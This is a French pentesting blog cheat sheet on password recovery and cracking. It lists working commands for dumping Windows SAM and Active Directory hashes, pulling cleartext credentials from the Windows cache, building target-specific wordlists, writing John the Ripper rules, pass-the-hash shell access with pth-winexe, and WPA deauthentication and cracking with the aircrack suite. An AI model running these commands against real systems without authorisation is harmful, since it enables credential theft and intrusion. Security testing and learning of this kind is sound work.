Cracking de password – Fiche Memo

En ce joyeux début d’avril, voici une petite fiche mémo sur les différentes méthodes de recherche et cracking de mot de passe. Ainsi sont référencés la récupération et la création de dictionnaire, la modification de règles John, le fameux “Passing The Hash”, le cracking de clé SSH et le cracking WEP/WPA (que tout le monde connait mais c’est une fiche mémo donc…)

find-pass

Récupération de mot de passe Windows

Ouais et pourquoi tu fais que Windows ??!!” Bah parce que c’est vachement moins simple que de faire un cat /etc/shadow.

Récupération dans la base SAM

En utilisant PWDump7 :

./pwdump7.exe

En utilisant fgdump :

./fgdump.exe

En utilisant samdump (et le petit tuto complet sur ce même blog)  :

#>mount /mnt/windows
#>cd /mnt/windows/WINDOWS/system32/config/
#>cp SAM SYSTEM /pentest/
#>cd  /pentest/
#>bkhive SYSTEM hive.txt
#>samdump2 SAM hive.txt

 

Récupération sur un Active Directory

Vous pourrez trouver la base de mots de passe sur %SystemRoot%\ntds\NTDS.DIT.

Une fois récupéré, utilisez libesedb :

#>cd /mnt/windows/WINDOWS/system32/config/
#>cp SYSTEM ntds/NTDS.DIT /pentest/
#>esedbexport -l /tmp/esedbexport.log /pentest/ntds.dit

Puis utilisez NTDSExtract :

#>python dsusers.py /pentest/ntds.dit.export/datatable.3 \
    /pentest/ntds.dit.export/link_table.5 \
    --passwordhashes SYSTEM --passwordhistory SYSTEM \
    --certificates --supplcreds SYSTEM \
    --membership > /tmp/ntds.dit.output
#>python ntdstopwdump.py /tmp/ntds.dit.output

Ou alors il y a Quarks, le TOUT en un !!!

Récupération dans le cache Windows

Windows Credential Editor est un outil de sécurité qui permet, entre autre, de récupérer les NTLM stockés en clair dans le cache Windows…plutôt intéressant.

./wce.exe -w

Création de Dictionnaire

Pour éviter de passer 268 jours à faire du brute force, il est impératif de passer par cette étape de pré-calcul. Nous allons, ici, récupérer le maximum de listes de mots qui pourraient être employés par nos cibles comme :

  • Les mots de passe par défaut des éditeurs : admin, password, huawei, default,…
  • Les noms de star de cinéma ou de films
  • etc.

Ensuite, nous les dériverons en fonction de patterns connus :

  • En ajoutant des chiffres à la fin : admin1, password1, huawei12, default2014
  • En jouant avec les majuscule et les remplacement de caractères : @dmin1, P@ssword2, …

Les dicos 

Alors, tout ça c’est bien gentil mais je les récupère où mes dicos ??

Sur Kali :

#>cd /usr/share/wordlists/
#>john --wordlists=rockyou.txt mon_fichier_hash.txt

Sur le net, faites vous plaisir avec google ! Par exemple là ou .

Cewl

Si vous ne trouvez pas de liste adaptée, vous pouvez toujours utiliser Cewl [coule] pour générer des listes personnalisées de mots . Alors que fait Cewl ?? Et bien c’est un mini-spider qui va chercher sur une page (voir même un site) , en fonction de vos critères,  tous les mots pouvant faire partie d’un dictionnaire…ouais il est comme ça cewl !

#### Ici nous cherchons juste sur le site avec une profondeur de 2 clic
#### des mots d'au moins 4 caractères
#>cewl  -w /tmp/password.lst -m 4 -d 2 http://www.site_de_votre_cible.com/

John the ripper

Ok donc on a nos listes de mots, génial ! Maintenant, nous mettons rarement un mot tel quel, on essaye toujours de le complexifier en ajoutant des sigles ou des caractères alpha-numériques. Heureusement John est là pour nous aider !

Alors, vous lirez, mais il y a déjà beaucoup de dérivations prédéfinies. Je ne mettrais donc que quelques exemples personnels.

#>cd /etc/john/
#vim john.conf
...
#WordList Mode rules
[List.Rules:Wordlist]
...
#J'ajoute 2 chiffres à la fin
$[0-9]$[0-9]
#J'ajoute 1 chiffre et 1 caractère '$' ou '.' ou '_' ou '!'
$[0-9]$[$._!]
#Je met la première en majuscule, ajoute 1 chiffre et 1 car spécial à la fin 
#et je remplace les 'a' par des @
c $[0-9]$[$._!?%] sa@
#On tente en 133T
sL1 sE3 sA4 sB8 sS5 sT7 sI! sG6 sH# sO0 sYj sC(
...

#>john --wordlist=/tmp/password.lst -rules -stdout > /tmp/mangle
#>john --wordlist=/tmp/mangle mon_fichier_hash.txt

Petit Crunch

Vous pouvez également utiliser Crunch pour créer votre liste de password… Assurez vous d’avoir beaucoup d’espace disque. Un article a déjà été écrit sur ce merveilleux site par 0x0ff, je vous mets donc le lien.

Rainbow Table

Le petit plus, au lieu d’utiliser des listes de mots, c’est la rainbow table ! Comme RainbowCrack qui est un très bon outil, en vous conseillant de l’installer avec l’accélération GPU. Vous pouvez aussi carrément tester votre hash online. Les connaisseurs d’offsec connaissent aussi certainement leur cracker.

Le PTH

L’idée dans la technique “passing the hash” ou PTH est :

Si je ne peux pas te cracker…bah je vais t’utiliser tel quel tiens!…ça t’apprendra…

Il faudra évidemment installer les outils avec:

#>apt-get install passing-the-hash

Un petit exemple pour utiliser un pth-client :

#>export SMBHASH="your:hash"
##Dans <commande> c'est cmd pour avoir un terminal
#>pth-winexe -U Administrator% //IPcible <commande>

Cracking SSH

A la suite d’une faille sur les librairies OpenSSL, le prng a été prouvé faible permettant, sur certaines versions, de lancer un crack de clés “faibles”. L’exploit est dispo ici : L’expoit.

Le fichier de clés était disponible ici : Les clés rsa

Cracking WEP/WPA

Alors nous commencerons par une petite vidéo :

https://www.youtube.com/watch?v=4TKQKIvSDpk

Et le résumé de cette vidéo :

###Génération de l'interface de monitoring
#>airmon-ng start wlan0
### Identification du peer cible (channel, bssid, etc.)
#>airodump-ng mon0
### Récupération de Trace (laissez tourner un moment quand même)
#>airodump-ng -c <channel> --bssid <B:S:S:I:D> -w wpa --ivs mon0
## En parrallèle déconnecté le client afin qu'il rejoue 
## ses phases d'authentification
#>airplay-ng -0 5 -a <B:S:S:I:D> -c <mac:c:l:i:ent> mon0
### Crack en fonction des traces
#>aircrack-ng -w /tmp/password.lst wpa*.cap 

...Done !

En cas de problème, vous pouvez toujours vous référer aux pages officielles. Ou consulter le précédent article d’0x0ff sur le cracking WEP.